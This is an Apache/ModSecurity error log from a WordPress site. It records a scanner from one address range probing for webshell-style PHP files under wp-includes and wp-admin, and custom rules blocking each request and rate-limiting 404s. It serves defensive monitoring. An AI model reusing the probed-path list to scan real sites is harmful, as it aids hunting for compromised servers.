[Sat Feb 28 08:52:40.299240 2026] [:error] [pid 22194:tid 22211] [client 173.244.55.26:59733] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/item.php"] [unique_id "aaI8WH6mbajs3bzQGyuzgQAAAU8"]
[Sat Feb 28 08:52:40.441594 2026] [:error] [pid 39292:tid 39295] [client 173.244.55.29:28223] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/index22.php"] [unique_id "aaI8WKIAO5fN7BxyqcFB7QAAAME"]
[Sat Feb 28 08:52:41.653474 2026] [proxy_fcgi:error] [pid 39185:tid 39248] [client 173.244.55.28:46531] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:41.768164 2026] [:error] [pid 39184:tid 39229] [client 173.244.55.21:33651] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-user.php"] [unique_id "aaI8WVtZF9Zd_U7easCIpwAAAEo"]
[Sat Feb 28 08:52:42.649241 2026] [:error] [pid 39292:tid 39295] [client 173.244.55.26:30139] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-user.php"] [unique_id "aaI8WqIAO5fN7BxyqcFCAwAAAME"]
[Sat Feb 28 08:52:42.990600 2026] [proxy_fcgi:error] [pid 39185:tid 39253] [client 173.244.55.28:46531] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:43.429432 2026] [:error] [pid 39185:tid 39250] [client 173.244.55.28:46531] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/autoload_classmap.php"] [unique_id "aaI8WxVE-FfM89u7BQauMgAAAIQ"]
[Sat Feb 28 08:52:43.532378 2026] [:error] [pid 39183:tid 39214] [client 173.244.55.26:58307] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-user.php"] [unique_id "aaI8WxCf4HvhVePw3LanJwAAABY"]
[Sat Feb 28 08:52:44.405817 2026] [:error] [pid 39183:tid 39196] [client 173.244.55.28:48149] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-user.php"] [unique_id "aaI8XBCf4HvhVePw3LanLgAAAAQ"]
[Sat Feb 28 08:52:44.744674 2026] [proxy_fcgi:error] [pid 11791:tid 11816] [client 173.244.55.31:51447] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:45.179608 2026] [:error] [pid 11791:tid 11806] [client 173.244.55.31:51447] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaI8XWuX5e1Q32gqxH09PwAAAQ0"]
[Sat Feb 28 08:52:45.296129 2026] [proxy_fcgi:error] [pid 39183:tid 39209] [client 173.244.55.31:54037] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:45.735832 2026] [:error] [pid 39183:tid 39193] [client 173.244.55.31:54037] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aaI8XRCf4HvhVePw3LanMgAAAAE"]
[Sat Feb 28 08:52:46.510078 2026] [:error] [pid 22194:tid 22197] [client 173.244.55.23:47057] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aaI8Xn6mbajs3bzQGyuz6gAAAUE"]
[Sat Feb 28 08:52:46.650475 2026] [:error] [pid 22194:tid 22204] [client 173.244.55.26:45991] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aaI8Xn6mbajs3bzQGyuz7AAAAUg"]
[Sat Feb 28 08:52:47.392257 2026] [:error] [pid 11791:tid 11800] [client 173.244.55.30:42509] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aaI8X2uX5e1Q32gqxH09dAAAAQc"]
[Sat Feb 28 08:52:47.535784 2026] [proxy_fcgi:error] [pid 11791:tid 11810] [client 173.244.55.23:43193] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:47.978091 2026] [proxy_fcgi:error] [pid 11791:tid 11809] [client 173.244.55.23:43193] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:48.274040 2026] [proxy_fcgi:error] [pid 11791:tid 11795] [client 173.244.55.31:47709] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:49.148042 2026] [:error] [pid 11791:tid 11794] [client 173.244.55.31:47709] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/chosen.php"] [unique_id "aaI8YWuX5e1Q32gqxH09sQAAAQE"]
[Sat Feb 28 08:52:49.747436 2026] [:error] [pid 11791:tid 11793] [client 173.244.55.23:43193] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aaI8YWuX5e1Q32gqxH09yAAAAQA"]
[Sat Feb 28 08:52:50.475944 2026] [proxy_fcgi:error] [pid 39185:tid 39262] [client 173.244.55.21:53229] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:51.075068 2026] [:error] [pid 39185:tid 39255] [client 173.244.55.30:61807] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaI8YxVE-FfM89u7BQauZwAAAIk"]
[Sat Feb 28 08:52:51.363219 2026] [proxy_fcgi:error] [pid 39185:tid 39253] [client 173.244.55.21:53229] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:51.966872 2026] [proxy_fcgi:error] [pid 39185:tid 39248] [client 173.244.55.25:28597] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:52.252937 2026] [proxy_fcgi:error] [pid 39185:tid 39265] [client 173.244.55.21:53229] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:52.692972 2026] [:error] [pid 39185:tid 39260] [client 173.244.55.21:53229] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaI8ZBVE-FfM89u7BQaufwAAAI4"]
[Sat Feb 28 08:52:53.308299 2026] [:error] [pid 39185:tid 39249] [client 173.244.55.25:28597] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aaI8ZRVE-FfM89u7BQauhAAAAIM"]
[Sat Feb 28 08:52:53.583438 2026] [proxy_fcgi:error] [pid 39292:tid 39296] [client 173.244.55.23:61721] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:54.036446 2026] [proxy_fcgi:error] [pid 39292:tid 39298] [client 173.244.55.23:61721] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:54.202555 2026] [proxy_fcgi:error] [pid 11791:tid 11800] [client 173.244.55.22:49683] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:54.479527 2026] [:error] [pid 39292:tid 39302] [client 173.244.55.23:61721] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aaI8ZqIAO5fN7BxyqcFChgAAAMg"]
[Sat Feb 28 08:52:55.079953 2026] [proxy_fcgi:error] [pid 11791:tid 11795] [client 173.244.55.22:49683] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:55.513828 2026] [:error] [pid 11791:tid 11813] [client 173.244.55.22:49683] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aaI8Z2uX5e1Q32gqxH0-WwAAARQ"]
[Sat Feb 28 08:52:55.816471 2026] [proxy_fcgi:error] [pid 22194:tid 22210] [client 173.244.55.29:32849] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:56.395405 2026] [proxy_fcgi:error] [pid 39183:tid 39193] [client 173.244.55.26:27367] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:56.720222 2026] [:error] [pid 22194:tid 22214] [client 173.244.55.29:32849] [client 173.244.55.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.29, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aaI8aH6mbajs3bzQGyu0cwAAAVI"]
[Sat Feb 28 08:52:57.181504 2026] [:error] [pid 22194:tid 22204] [client 173.244.55.29:32849] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aaI8aX6mbajs3bzQGyu0eAAAAUg"]
[Sat Feb 28 08:52:57.288439 2026] [:error] [pid 39183:tid 39208] [client 173.244.55.26:27367] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/click.php"] [unique_id "aaI8aRCf4HvhVePw3LanXwAAABA"]
[Sat Feb 28 08:52:58.185143 2026] [proxy_fcgi:error] [pid 11791:tid 11801] [client 173.244.55.31:48083] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:52:58.625557 2026] [:error] [pid 11791:tid 11803] [client 173.244.55.31:48083] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/atomlib.php"] [unique_id "aaI8amuX5e1Q32gqxH0-sQAAAQo"]
[Sat Feb 28 08:52:59.511255 2026] [:error] [pid 39185:tid 39261] [client 173.244.55.26:52009] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/atomlib.php"] [unique_id "aaI8axVE-FfM89u7BQaumAAAAI8"]
[Sat Feb 28 08:53:00.743965 2026] [:error] [pid 22194:tid 22196] [client 173.244.55.29:36273] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aaI8bH6mbajs3bzQGyu0mQAAAUA"]
[Sat Feb 28 08:53:02.625436 2026] [:error] [pid 11791:tid 11808] [client 173.244.55.25:40717] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aaI8bmuX5e1Q32gqxH0_KQAAAQ8"]
[Sat Feb 28 08:53:03.423066 2026] [proxy_fcgi:error] [pid 11791:tid 11806] [client 173.244.55.21:59719] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:03.505503 2026] [:error] [pid 39185:tid 39268] [client 173.244.55.28:55601] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/index.php"] [unique_id "aaI8bxVE-FfM89u7BQau0wAAAJY"]
[Sat Feb 28 08:53:04.387590 2026] [:error] [pid 39185:tid 39248] [client 173.244.55.29:52735] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/index.php"] [unique_id "aaI8cBVE-FfM89u7BQau3wAAAII"]
[Sat Feb 28 08:53:05.216324 2026] [proxy_fcgi:error] [pid 11791:tid 11812] [client 173.244.55.21:59719] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:05.724447 2026] [proxy_fcgi:error] [pid 22194:tid 22202] [client 173.244.55.21:24135] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:06.106405 2026] [:error] [pid 11791:tid 11797] [client 173.244.55.21:59719] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aaI8cmuX5e1Q32gqxH0_XwAAAQQ"]
[Sat Feb 28 08:53:06.606592 2026] [proxy_fcgi:error] [pid 22194:tid 22196] [client 173.244.55.21:24135] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:06.989480 2026] [proxy_fcgi:error] [pid 39183:tid 39193] [client 173.244.55.31:38821] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:07.046922 2026] [:error] [pid 22194:tid 22197] [client 173.244.55.21:24135] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aaI8c36mbajs3bzQGyu01QAAAUE"]
[Sat Feb 28 08:53:07.429130 2026] [:error] [pid 39183:tid 39210] [client 173.244.55.31:38821] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aaI8cxCf4HvhVePw3LanhQAAABI"]
[Sat Feb 28 08:53:07.929037 2026] [:error] [pid 39292:tid 39297] [client 173.244.55.28:26357] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aaI8c6IAO5fN7BxyqcFDQAAAAMM"]
[Sat Feb 28 08:53:08.328463 2026] [proxy_fcgi:error] [pid 11791:tid 11803] [client 173.244.55.31:59521] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:08.815998 2026] [proxy_fcgi:error] [pid 11791:tid 11814] [client 173.244.55.26:45607] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:09.655158 2026] [:error] [pid 11791:tid 11801] [client 173.244.55.31:59521] [client 173.244.55.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.31, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aaI8dWuX5e1Q32gqxH0_oQAAAQg"]
[Sat Feb 28 08:53:09.698201 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.26:45607] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aaI8dWuX5e1Q32gqxH0_pQAAARU"]
[Sat Feb 28 08:53:10.103290 2026] [proxy_fcgi:error] [pid 11791:tid 11795] [client 173.244.55.31:59521] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:10.547105 2026] [proxy_fcgi:error] [pid 11791:tid 11809] [client 173.244.55.31:59521] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:10.568765 2026] [:error] [pid 39292:tid 39302] [client 173.244.55.30:20305] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "aaI8dqIAO5fN7BxyqcFDYQAAAMg"]
[Sat Feb 28 08:53:10.991991 2026] [proxy_fcgi:error] [pid 11791:tid 11797] [client 173.244.55.31:59521] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:11.434500 2026] [:error] [pid 11791:tid 11805] [client 173.244.55.31:59521] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aaI8d2uX5e1Q32gqxH0_zAAAAQw"]
[Sat Feb 28 08:53:11.457506 2026] [proxy_fcgi:error] [pid 11791:tid 11804] [client 173.244.55.23:31989] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:11.899715 2026] [:error] [pid 11791:tid 11804] [client 173.244.55.23:31989] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aaI8d2uX5e1Q32gqxH0_3gAAAQs"]
[Sat Feb 28 08:53:12.305001 2026] [:error] [pid 11791:tid 11817] [client 173.244.55.20:55637] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aaI8eGuX5e1Q32gqxH0_7gAAARg"]
[Sat Feb 28 08:53:12.798979 2026] [:error] [pid 22194:tid 22215] [client 173.244.55.22:31885] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aaI8eH6mbajs3bzQGyu1LgAAAVM"]
[Sat Feb 28 08:53:13.183646 2026] [:error] [pid 39184:tid 39225] [client 173.244.55.30:63169] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aaI8eVtZF9Zd_U7easCJSQAAAEY"]
[Sat Feb 28 08:53:13.688259 2026] [:error] [pid 22194:tid 22214] [client 173.244.55.25:27433] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aaI8eX6mbajs3bzQGyu1PAAAAVI"]
[Sat Feb 28 08:53:14.085154 2026] [proxy_fcgi:error] [pid 39183:tid 39202] [client 173.244.55.21:24715] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:14.533593 2026] [:error] [pid 39183:tid 39193] [client 173.244.55.21:24715] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aaI8ehCf4HvhVePw3LanqwAAAAE"]
[Sat Feb 28 08:53:14.573729 2026] [:error] [pid 39292:tid 39300] [client 173.244.55.20:52453] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aaI8eqIAO5fN7BxyqcFDegAAAMY"]
[Sat Feb 28 08:53:15.456211 2026] [proxy_fcgi:error] [pid 39292:tid 39304] [client 173.244.55.31:30663] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:15.856546 2026] [proxy_fcgi:error] [pid 39185:tid 39268] [client 173.244.55.21:26839] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:15.890682 2026] [:error] [pid 39292:tid 39302] [client 173.244.55.31:30663] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aaI8e6IAO5fN7BxyqcFDjQAAAMg"]
[Sat Feb 28 08:53:16.293373 2026] [:error] [pid 39185:tid 39264] [client 173.244.55.21:26839] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaI8fBVE-FfM89u7BQavVQAAAJI"]
